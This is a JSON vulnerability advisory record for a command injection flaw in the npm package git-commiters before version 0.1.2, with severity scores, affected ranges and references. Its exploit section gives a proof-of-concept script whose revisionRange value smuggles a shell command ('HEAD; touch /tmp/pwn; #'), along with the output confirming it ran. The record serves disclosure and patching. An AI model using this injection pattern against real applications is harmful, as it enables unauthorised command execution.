{"id":"CVE-2025-59831","aliases":["CVE-2025-59831","GHSA-g38c-wxjf-xrh6"],"related":[],"kind":"vulnerability","state":"published","title":"`git-comiters` Command Injection vulnerability","summary":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"git-commiters is a Node.js function module providing committers stats for their git repository. Prior to version 0.1.2, there is a command injection vulnerability in git-commiters. This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD. However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution. This issue has been patched in version 0.1.2.","source":"cvelist"},{"lang":"en","text":"## Background on the vulnerability\n\nThis vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n  cwd: \"./\",\n  revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n  if (err) console.log(err);\n  else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js\n[\n  {\n    email: 'github@qslw.com',\n    name: 'Morton Fox',\n    deletions: 1,\n    insertions: 1,\n    commits: 1\n  },\n  {\n    email: 'snowyu.lee@gmail.com',\n    name: 'Riceball LEE',\n    deletions: 11,\n    insertions: 1198,\n    commits: 7\n  }\n]\n\n@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal","format":"markdown","source":"ghsa"},{"lang":"es","text":"git-commiters es un módulo de función de Node.js que proporciona estadísticas de los committers para su repositorio git. Antes de la versión 0.1.2, existe una vulnerabilidad de inyección de comandos en git-commiters. Esta vulnerabilidad se manifiesta con la API principal exportada de la biblioteca: gitCommiters(options, callback) que permite especificar opciones como cwd para el directorio de trabajo actual y revisionRange como un puntero de revisión, como HEAD. Sin embargo, la biblioteca no sanea la entrada del usuario ni practica una API de ejecución de procesos segura para separar los comandos de sus argumentos y, como tal, la entrada del usuario no controlada se concatena en la ejecución de comandos. Este problema ha sido parcheado en la versión 0.1.2.","source":"nvd"}],"published":"2025-09-22T18:01:37.000Z","modified":"2026-10-11T20:10:00.200Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-77","CWE-78"],"affected":[{"ranges":[{"version":"< 0.1.2","status":"affected"}],"vendor":"snowyu","product":"git-commiters.js","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.1.2"}],"ecosystem":"npm","package":"git-commiters","purl":"pkg:npm/git-commiters","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.1.2"}],"vendor":"riceball","product":"git-commiters","cpe":"cpe:2.3:a:riceball:git-commiters:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59831","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/snowyu/git-commiters.js","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-09-25T14:42:06.964Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-59831","url":"https://www.cve.org/CVERecord?id=CVE-2025-59831","licence":"CVE Terms of Use","modified":"2025-09-25T14:43:16.185Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g38c-wxjf-xrh6","url":"https://github.com/advisories/GHSA-g38c-wxjf-xrh6","licence":"CC-BY-4.0","modified":"2025-10-16T20:41:52.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-59831","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59831","licence":"Public domain","modified":"2026-10-11T20:10:00.200Z"}],"updatedAt":"2026-11-25T22:59:05.158Z","epss":{"score":0.04171,"percentile":0.91132,"date":"2026-12-01T12:00:22.000Z"}}